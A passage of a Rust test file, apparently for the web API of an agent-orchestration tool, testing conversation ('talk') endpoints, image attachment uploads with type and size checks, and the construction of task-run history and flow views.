15792 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15793 assert_eq!(closed.status, 200, "{}", closed.body);
15794 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15795 .expect("serialize closed talk");
15796 for (path, body) in [
15797 (format!("/api/talks/{id}/pending/resume"), None),
15798 (
15799 format!("/api/talks/{id}/pending/clear"),
15800 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15801 ),
15802 (
15803 format!("/api/talks/{id}/pending/edit"),
15804 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15805 ),
15806 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15807 ] {
15808 let response = f.post(&path, body).await;
15809 assert_eq!(response.status, 409, "{}", response.body);
15810 }
15811 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15812 .expect("serialize closed talk");
15813 assert_eq!(
15814 after_clear, before_clear,
15815 "clear must not rewrite a closed talk"
15816 );
15817 }
15818
15819 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15822
15823 #[tokio::test]
15824 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15825 let tmp = TempDir::new().expect("tempdir");
15826 let repo = tmp.path().join("repo");
15827 std::fs::create_dir_all(&repo).expect("repo dir");
15828 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15829 let f = Fixture::with_repo(repo).await;
15830 let id_a = f.post("/api/talks", None).await.json()["id"]
15831 .as_str()
15832 .unwrap()
15833 .to_owned();
15834 let id_b = f.post("/api/talks", None).await.json()["id"]
15835 .as_str()
15836 .unwrap()
15837 .to_owned();
15838
15839 let a = f
15840 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15841 .await;
15842 assert_eq!(a.status, 202, "{}", a.body);
15843 assert_eq!(a.json()["thinking"], true);
15844 let b = f
15845 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15846 .await;
15847 assert_eq!(b.status, 202, "{}", b.body);
15848 assert_eq!(b.json()["thinking"], true);
15849
15850 let listed = f.get("/api/talks").await.json();
15851 for id in [&id_a, &id_b] {
15852 let view = listed
15853 .as_array()
15854 .unwrap()
15855 .iter()
15856 .find(|talk| talk["id"] == *id)
15857 .unwrap();
15858 assert_eq!(view["thinking"], true, "{listed}");
15859 }
15860 let repeated = f
15861 .post(
15862 &format!("/api/talks/{id_a}/say"),
15863 Some(r#"{"text":"again"}"#),
15864 )
15865 .await;
15866 assert_eq!(repeated.status, 202, "{}", repeated.body);
15867 assert_eq!(repeated.json()["pending"], "again");
15868 }
15869
15870 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15873
15874 #[tokio::test]
15875 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15876 let f = Fixture::start().await;
15877 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15878
15879 let res = f
15880 .post_bytes(
15881 &format!("/api/talks/{id}/attachments"),
15882 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15883 PNG_BYTES,
15884 )
15885 .await;
15886 assert_eq!(res.status, 201, "{}", res.body);
15887 let body = res.json();
15888 assert_eq!(body["name"], "shot.png");
15889 assert_eq!(body["mime"], "image/png");
15890 assert_eq!(body["bytes"], PNG_BYTES.len());
15891 let att_id = body["id"].as_str().expect("id").to_owned();
15892 assert_eq!(
15893 att_id.len(),
15894 32,
15895 "the id must never be a client-suppliable path: {att_id}"
15896 );
15897
15898 let got = f
15899 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15900 .await;
15901 assert_eq!(got.status, 200, "{}", got.body);
15902 assert_eq!(got.header("content-type"), Some("image/png"));
15903 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15904 assert_eq!(got.bytes, PNG_BYTES);
15905 }
15906
15907 #[tokio::test]
15908 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15909 let f = Fixture::start().await;
15910 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15911
15912 let svg = f
15915 .post_bytes(
15916 &format!("/api/talks/{id}/attachments"),
15917 &[("Content-Type", "image/svg+xml")],
15918 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15919 )
15920 .await;
15921 assert!(
15922 (400..500).contains(&svg.status),
15923 "svg must be refused: {} {}",
15924 svg.status,
15925 svg.body
15926 );
15927 assert!(svg.body.contains("SVG"), "{}", svg.body);
15928
15929 let text = f
15930 .post_bytes(
15931 &format!("/api/talks/{id}/attachments"),
15932 &[("Content-Type", "text/plain")],
15933 b"just some text",
15934 )
15935 .await;
15936 assert!(
15937 (400..500).contains(&text.status),
15938 "an unlisted type must be refused: {} {}",
15939 text.status,
15940 text.body
15941 );
15942
15943 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15946 let big = f
15947 .post_bytes(
15948 &format!("/api/talks/{id}/attachments"),
15949 &[("Content-Type", "image/png")],
15950 &oversized,
15951 )
15952 .await;
15953 assert_eq!(
15954 big.status,
15955 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15956 "{}",
15957 big.body
15958 );
15959 }
15960
15961 #[tokio::test]
15962 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15963 let f = Fixture::start().await;
15964 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15965
15966 let res = f
15969 .post_bytes(
15970 &format!("/api/talks/{id}/attachments"),
15971 &[("Content-Type", "image/png")],
15972 b"<html>not a picture</html>",
15973 )
15974 .await;
15975 assert!((400..500).contains(&res.status), "{}", res.body);
15976 }
15977
15978 #[tokio::test]
15979 async fn an_unknown_attachment_id_is_a_404() {
15980 let f = Fixture::start().await;
15981 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15982
15983 let res = f
15984 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15985 .await;
15986 assert_eq!(res.status, 404, "{}", res.body);
15987 }
15988
15989 #[tokio::test]
15990 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15991 let f = Fixture::start().await;
15992 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15993
15994 let uploaded = f
15995 .post_bytes(
15996 &format!("/api/talks/{id}/attachments"),
15997 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15998 PNG_BYTES,
15999 )
16000 .await;
16001 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16002 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16003
16004 let res = f
16005 .post(
16006 &format!("/api/talks/{id}/say"),
16007 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16008 )
16009 .await;
16010 assert_eq!(res.status, 202, "{}", res.body);
16011 let queued = res.json();
16012 let turns = queued["turns"].as_array().expect("turns array");
16013 assert_eq!(
16014 turns.len(),
16015 1,
16016 "an empty body with an attachment is still a turn: {queued}"
16017 );
16018 assert_eq!(turns[0]["who"], "operator");
16019 assert_eq!(turns[0]["body"], "");
16020 let atts = turns[0]["attachments"]
16021 .as_array()
16022 .expect("attachments array");
16023 assert_eq!(atts.len(), 1);
16024 assert_eq!(atts[0]["id"], att_id);
16025 assert_eq!(atts[0]["mime"], "image/png");
16026
16027 let on_disk = f.talks().get(&id).expect("get");
16030 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16031 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16032 }
16033
16034 #[tokio::test]
16035 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16036 let f = Fixture::start().await;
16037 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16038
16039 let res = f
16040 .post(
16041 &format!("/api/talks/{id}/say"),
16042 Some(&format!(
16043 r#"{{"text":"hi","attachments":["{}"]}}"#,
16044 "a".repeat(32)
16045 )),
16046 )
16047 .await;
16048 assert!((400..500).contains(&res.status), "{}", res.body);
16049 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16050
16051 let on_disk = f.talks().get(&id).expect("get");
16052 assert!(
16053 on_disk.turns.is_empty(),
16054 "a rejected attachment id must not partially record the turn: {:?}",
16055 on_disk.turns
16056 );
16057 }
16058
16059 #[tokio::test]
16060 async fn talk_close_makes_the_talk_refuse_further_turns() {
16061 let f = Fixture::start().await;
16062 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16063
16064 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16065 assert_eq!(closed.status, 200, "{}", closed.body);
16066 assert_eq!(closed.json()["status"], "closed");
16067
16068 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16070 assert_eq!(closed_again.status, 200);
16071 assert_eq!(closed_again.json()["status"], "closed");
16072
16073 let said = f
16074 .post(
16075 &format!("/api/talks/{id}/say"),
16076 Some(r#"{"text":"too late"}"#),
16077 )
16078 .await;
16079 assert_eq!(said.status, 409, "{}", said.body);
16080 }
16081
16082 #[tokio::test]
16083 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16084 let (_tmp, _repo, f) = talk_fixture().await;
16085 let id = f.post("/api/talks", None).await.json()["id"]
16086 .as_str()
16087 .expect("id")
16088 .to_owned();
16089 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16090 assert_eq!(closed.status, 200, "{}", closed.body);
16091
16092 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16093 assert_eq!(reopened.status, 200, "{}", reopened.body);
16094 assert_eq!(reopened.json()["status"], "open");
16095
16096 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16098 assert_eq!(reopened_again.status, 200);
16099 assert_eq!(reopened_again.json()["status"], "open");
16100
16101 let said = f
16102 .post(
16103 &format!("/api/talks/{id}/say"),
16104 Some(r#"{"text":"still there?"}"#),
16105 )
16106 .await;
16107 assert_eq!(
16108 said.status, 202,
16109 "a reopened talk accepts turns again: {}",
16110 said.body
16111 );
16112 }
16113
16114 #[tokio::test]
16115 async fn talk_reopen_on_an_unknown_id_is_404() {
16116 let f = Fixture::start().await;
16117 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16118 assert_eq!(res.status, 404, "{}", res.body);
16119 }
16120
16121 #[tokio::test]
16122 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16123 let f = Fixture::start().await;
16124 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16125
16126 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16127 assert_eq!(deleted.status, 204, "{}", deleted.body);
16128
16129 let after = f.get(&format!("/api/talks/{id}")).await;
16130 assert_eq!(after.status, 404, "{}", after.body);
16131
16132 let listed = f.get("/api/talks").await.json();
16133 assert!(
16134 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16135 "a deleted talk must not linger in the list: {listed}"
16136 );
16137 }
16138
16139 #[tokio::test]
16140 async fn talk_delete_on_an_unknown_id_is_404() {
16141 let f = Fixture::start().await;
16142 let res = f.delete("/api/talks/nonexistent-id").await;
16143 assert_eq!(res.status, 404, "{}", res.body);
16144 }
16145
16146 #[tokio::test]
16150 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16151 let f = Fixture::start().await;
16152 let (a, b, gone) = (
16153 "20260902-140501-aaaa",
16154 "20260902-140502-bbbb",
16155 "20260902-140503-cccc",
16156 );
16157 write_run(&f.runs(), a, RunStatus::Stalled);
16158 let mut review = RunState::new(
16159 PathBuf::from("/repo/magi"),
16160 "main".to_owned(),
16161 "0123456789abcdef".to_owned(),
16162 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16163 .to_owned(),
16164 Config::default(),
16165 );
16166 review.id = b.to_owned();
16167 review.status = RunStatus::Merged;
16168 write_state(&f.runs(), &review);
16169
16170 let mut task = Task::new(
16171 "retry".to_owned(),
16172 "Do the thing".to_owned(),
16173 PathBuf::from("/repo/magi"),
16174 Source::Human,
16175 );
16176 task.start(a.to_owned());
16177 task.stall("quota");
16178 task.start(a.to_owned());
16179 task.start(b.to_owned());
16180 task.start(gone.to_owned());
16181 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16183 f.queue().put(&mut task).expect("file the task");
16184
16185 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16186 assert_eq!(res.status, 200, "{}", res.body);
16187 let v = res.json();
16188 let h = v["history"].as_array().expect("history");
16189 assert_eq!(h.len(), 4, "{v}");
16190 assert_eq!(h[0]["kind"], "competition");
16191 assert_eq!(h[0]["status"], "stalled");
16192 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16193 assert_eq!(h[1]["kind"], "resume", "{v}");
16194 assert!(
16195 h[0]["outcome"]
16196 .as_str()
16197 .unwrap()
16198 .contains("unknown. Pass #2"),
16199 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16200 );
16201 assert!(
16202 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16203 "{v}"
16204 );
16205 assert!(
16206 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16207 "an unrecorded cause must not be narrated as an operator park: {v}"
16208 );
16209 assert_eq!(h[2]["kind"], "review");
16210 assert!(
16211 h[2]["description"]
16212 .as_str()
16213 .unwrap()
16214 .contains("magi/aaaa/A")
16215 );
16216 assert_eq!(h[2]["status"], "merged");
16217 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16218 assert_eq!(v["runs_unreadable"], 1);
16219 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16220 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16221 assert_eq!(nodes[4]["note"], "unreadable");
16222 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16223 assert_eq!(v["instruction"], "Do the thing");
16224 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16225
16226 let run = f.get(&format!("/api/runs/{a}")).await.json();
16228 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16229
16230 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16231 }
16232
16233 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16234 let mut s = RunState::new(
16235 PathBuf::from("/repo/magi"),
16236 "main".to_owned(),
16237 "0123456789abcdef".to_owned(),
16238 "Do it".to_owned(),
16239 Config::default(),
16240 );
16241 s.status = status;
16242 edit(&mut s);
16243 s
16244 }
16245
16246 fn flow_task(runs: &[&str]) -> Task {
16247 let mut t = Task::new(
16248 "t".to_owned(),
16249 "Do it".to_owned(),
16250 PathBuf::from("/repo/magi"),
16251 Source::Human,
16252 );
16253 for r in runs {
16254 t.start((*r).to_owned());
16255 }
16256 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16258 t
16259 }
16260
16261 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16262 let h = task_history(task, |id| {
16263 states
16264 .iter()
16265 .find(|(i, _)| *i == id)
16266 .and_then(|(_, s)| s.clone())
16267 });
16268 task_flow(task, &h, 5, None)
16269 }
16270
16271 #[test]
16272 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16273 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16274 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16275 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16276 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16277 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16278 let run = flow_run(RunStatus::Implementing, |s| {
16279 s.created_at = created;
16280 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16281 s.passes[0].started_at = first;
16282 s.passes[1].started_at = resumed;
16283 });
16284 let mut task = flow_task(&[RUN_X, RUN_X]);
16285 task.created_at = queued;
16286 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16287 task.status = TaskStatus::Held;
16288 task.held_at = Some(held);
16289 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16290 assert_eq!(
16291 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16292 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16293 );
16294 assert!(flow.nodes.iter().all(|n| n.time_expected));
16295 let json = serde_json::to_value(&flow).unwrap();
16296 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16297 assert_eq!(json["nodes"][2]["time_expected"], true);
16298 }
16299
16300 #[test]
16301 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16302 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16303 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16304 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16305 task.held_at = Some(created);
16307 task.blocked_at = Some(created);
16308 for status in [
16309 TaskStatus::Queued,
16310 TaskStatus::Running,
16311 TaskStatus::Blocked,
16312 TaskStatus::Done,
16313 TaskStatus::Failed,
16314 TaskStatus::Parked,
16315 TaskStatus::Held,
16316 ] {
16317 task.status = status;
16318 if status == TaskStatus::Held {
16319 task.held_at = None;
16320 }
16321 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16322 assert_eq!(flow.nodes[1].started_at, Some(created));
16323 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16324 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16325 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16326 let json = serde_json::to_value(&flow).unwrap();
16327 assert!(json["nodes"][3]["started_at"].is_null());
16328 assert_eq!(json["nodes"][3]["time_expected"], true);
16329 }
16330 }
16331
16332 #[test]
16333 fn flow_context_links_do_not_expect_start_times() {
16334 let mut task = flow_task(&[]);
16335 task.source = Source::Agent {
16336 run: "chat-id".to_owned(),
16337 node: "chat".to_owned(),
16338 };
16339 let origin = followup_origin(&fu(None), |_| None, |_| None);
16340 let flow = task_flow(&task, &[], 5, Some(&origin));
16341 for node in &flow.nodes[..2] {
16342 assert!(!node.time_expected);
16343 assert_eq!(node.started_at, None);
16344 }
16345 assert!(flow.nodes[2].time_expected);
16346 }
16347
16348 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16349 crate::queue::FollowUp {
16350 run: "20260901-000000-aaaa".to_owned(),
16351 origin_task: origin_task.map(str::to_owned),
16352 pr: "https://example.com/o/r/pull/1".to_owned(),
16353 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16354 .map(str::to_owned)
16355 .to_vec(),
16356 generation: 1,
16357 }
16358 }
16359
16360 fn parent_task() -> Task {
16361 let mut p = flow_task(&[]);
16362 p.title = "Parent title".to_owned();
16363 p.status = TaskStatus::Done;
16364 p
16365 }
16366
16367 #[test]
16368 fn flow_opens_with_the_parent_task_of_a_followup() {
16369 let p = parent_task();
16370 let pid = p.id.clone();
16371 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16372 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16373 let n = &f.nodes[0];
16374 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16375 assert_eq!(
16376 n.label,
16377 format!("Follow-up of {}", crate::queue::short(&pid))
16378 );
16379 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16380 assert_eq!(n.status, Some("done"));
16381 assert_eq!(n.status_of, "task");
16382 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16383 assert_eq!(f.nodes[1].key, "start");
16384 assert_eq!(f.edges[0].from, "origin");
16385 assert_eq!(
16386 f.edges[0].label,
16387 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16388 );
16389 }
16390
16391 #[test]
16392 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16393 let o = followup_origin(
16394 &fu(Some("gone")),
16395 |_| None,
16396 |_| {
16397 Some(RunState::new(
16398 std::path::PathBuf::from("."),
16399 "main".to_owned(),
16400 "0".to_owned(),
16401 "t".to_owned(),
16402 crate::config::Config::default(),
16403 ))
16404 },
16405 );
16406 assert!(o.parent.is_none());
16407 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16408 let n = &f.nodes[0];
16409 assert_eq!(n.status_of, "run");
16410 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16411 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16412 }
16413
16414 #[test]
16415 fn flow_followup_with_nothing_readable_has_no_link() {
16416 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16417 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16418 let n = &f.nodes[0];
16419 assert_eq!(n.href, None);
16420 assert_eq!(n.note, Some("unreadable"));
16421 assert!(!n.readable);
16422 }
16423
16424 #[test]
16425 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16426 let o = followup_origin(&fu(None), |_| None, |_| None);
16427 let mut t = flow_task(&[]);
16428 t.origin_chat = Some("c1".to_owned());
16429 let f = task_flow(&t, &[], 5, Some(&o));
16430 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16431 t.source = Source::Agent {
16432 run: "c1".to_owned(),
16433 node: crate::queue::CHAT_NODE.to_owned(),
16434 };
16435 let f = task_flow(&t, &[], 5, Some(&o));
16436 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16437 assert_eq!(
16438 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16439 ("chat", "origin")
16440 );
16441 }
16442
16443 #[test]
16444 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16445 let mut p = parent_task();
16446 p.id = "a b/c".to_owned();
16447 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16448 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16449 }
16450
16451 #[test]
16452 fn flow_opens_with_the_chat_that_queued_the_task() {
16453 let mut t = flow_task(&[]);
16454 t.source = Source::Agent {
16455 run: "a b/c".to_owned(),
16456 node: crate::queue::CHAT_NODE.to_owned(),
16457 };
16458 let f = flow_for(&t, &[]);
16459 assert_eq!(f.nodes[0].key, "chat");
16460 assert_eq!(f.nodes[0].kind, "chat");
16461 assert_eq!(
16462 f.nodes[0].label,
16463 format!("Chat {}", crate::queue::short("a b/c"))
16464 );
16465 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16466 assert_eq!(f.nodes[1].key, "start");
16467 assert_eq!(
16468 f.edges[0],
16469 FlowEdge {
16470 from: "chat".to_owned(),
16471 to: "start".to_owned(),
16472 label: "queued from chat".to_owned(),
16473 attempt: AttemptCost::None,
16474 }
16475 );
16476 }
16477
16478 #[test]
16479 fn flow_has_no_chat_box_for_other_sources() {
16480 for source in [
16481 Source::Human,
16482 Source::Issue {
16483 number: 3,
16484 repo: "o/r".to_owned(),
16485 },
16486 Source::Agent {
16487 run: "20260904-014455-ab12".to_owned(),
16488 node: "implement".to_owned(),
16489 },
16490 ] {
16491 let mut t = flow_task(&[]);
16492 t.source = source;
16493 let f = flow_for(&t, &[]);
16494 assert_eq!(f.nodes[0].key, "start");
16495 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16496 assert!(f.edges.iter().all(|e| e.from != "chat"));
16497 }
16498 }
16499
16500 const FA: &str = "20260902-140501-aaaa";
16501 const FB: &str = "20260902-140502-bbbb";
16502
16503 #[test]
16504 fn flow_follows_blocked_retry_merged_to_done() {
16505 let mut t = flow_task(&[FA, FB]);
16506 t.status = TaskStatus::Done;
16507 let f = flow_for(
16508 &t,
16509 &[
16510 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16511 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16512 ],
16513 );
16514 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16515 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16516 assert_eq!(f.edges.len(), 3);
16517 assert_eq!(f.edges[0].label, "claimed");
16518 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16519 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16520 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16521 assert_eq!(
16522 f.nodes[2].href.as_deref(),
16523 Some("#/runs/20260902-140502-bbbb")
16524 );
16525 assert!(f.nodes[2].decided);
16526 }
16527
16528 #[test]
16529 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16530 let quota = || {
16531 flow_run(RunStatus::Stalled, |s| {
16532 s.quota.push(crate::run::QuotaLoss {
16533 cause: crate::agent::QuotaCause::UsageLimit,
16534 agent: String::new(),
16535 seat: "judge-1".to_owned(),
16536 node: "judge".to_owned(),
16537 at: Timestamp::now(),
16538 reset: None,
16539 })
16540 })
16541 };
16542 let mut t = flow_task(&[FA, FA]);
16543 t.status = TaskStatus::Queued;
16544 let f = flow_for(&t, &[(FA, Some(quota()))]);
16545 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16546 assert_eq!(f.nodes[1].note, Some("interrupted"));
16547 assert_eq!(
16548 f.nodes[1].status, None,
16549 "no outcome copied onto an earlier pass"
16550 );
16551 assert_eq!(
16552 f.edges[1].attempt,
16553 AttemptCost::Unknown,
16554 "a resume does not prove the earlier pass was refunded"
16555 );
16556 assert!(f.edges[1].label.contains("resume the same run"));
16557 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16558 assert_eq!(
16559 f.edges[2].label,
16560 "stalled after a resume, refund unknown \u{2192} queued"
16561 );
16562 assert!(!f.nodes[2].decided, "a stall is not a decision");
16563 assert_eq!(f.nodes[2].note, Some("no verdict"));
16564 }
16565
16566 #[test]
16567 fn flow_single_pass_quota_stall_is_refunded() {
16568 let t = flow_task(&[FA]);
16569 let f = flow_for(
16570 &t,
16571 &[(
16572 FA,
16573 Some(flow_run(RunStatus::Stalled, |s| {
16574 s.quota.push(crate::run::QuotaLoss {
16575 cause: crate::agent::QuotaCause::UsageLimit,
16576 agent: String::new(),
16577 seat: "judge-1".to_owned(),
16578 node: "judge".to_owned(),
16579 at: Timestamp::now(),
16580 reset: None,
16581 })
16582 })),
16583 )],
16584 );
16585 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16586 }
16587
16588 #[test]
16589 fn flow_parked_refunds_and_stall_without_quota_spends() {
16590 let mut t = flow_task(&[FA]);
16591 t.status = TaskStatus::Queued;
16592 let f = flow_for(
16593 &t,
16594 &[(
16595 FA,
16596 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16597 )],
16598 );
16599 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16600 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16601 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16602 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16603 assert!(!f.nodes[1].decided);
16604 }
16605
16606 #[test]
16607 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16608 let t = flow_task(&[FA, FB]);
16609 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16610 assert_eq!(f.nodes[1].note, Some("unreadable"));
16611 assert!(!f.nodes[1].readable);
16612 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16613 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16614 }
16615
16616 #[test]
16617 fn flow_names_the_branch_of_a_review_only_run() {
16618 let t = flow_task(&[FA]);
16619 let f = flow_for(
16620 &t,
16621 &[(
16622 FA,
16623 Some(flow_run(RunStatus::Merged, |s| {
16624 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16625 })),
16626 )],
16627 );
16628 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16629 assert_eq!(
16630 f.nodes[1].detail.as_deref(),
16631 Some("review-only run of branch magi/x/A")
16632 );
16633 }
16634
16635 #[test]
16636 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16637 let mut t = flow_task(&[FA]);
16638 t.status = TaskStatus::Held;
16639 let pr = crate::run::PrRecord {
16640 url: "https://example.test/pr/1".to_owned(),
16641 number: 1,
16642 state: "open".to_owned(),
16643 checks: "green".to_owned(),
16644 round: 0,
16645 rounds: 3,
16646 red_at_merge: Vec::new(),
16647 };
16648 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16649 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16650 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16651 t.status = TaskStatus::Done;
16652 let f = flow_for(&t, &[(FA, Some(blocked))]);
16653 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16654 }
16655
16656 #[test]
16657 fn flow_with_no_runs_goes_from_queued_to_queued() {
16658 let t = flow_task(&[]);
16659 let f = flow_for(&t, &[]);
16660 assert_eq!(f.nodes.len(), 2);
16661 assert_eq!(f.edges.len(), 1);
16662 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16663 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16664 }
16665
16666 #[test]
16669 fn a_parked_non_terminal_run_is_explained_as_parked() {
16670 let mut s = RunState::new(
16671 PathBuf::from("/repo/magi"),
16672 "main".to_owned(),
16673 "0123456789abcdef".to_owned(),
16674 "Do it".to_owned(),
16675 Config::default(),
16676 );
16677 s.status = RunStatus::Implementing;
16678 s.parked = true;
16679 let task = Task::new(
16680 "t".to_owned(),
16681 "Do it".to_owned(),
16682 PathBuf::from("/repo/magi"),
16683 Source::Human,
16684 );
16685 let v = task_run_view(
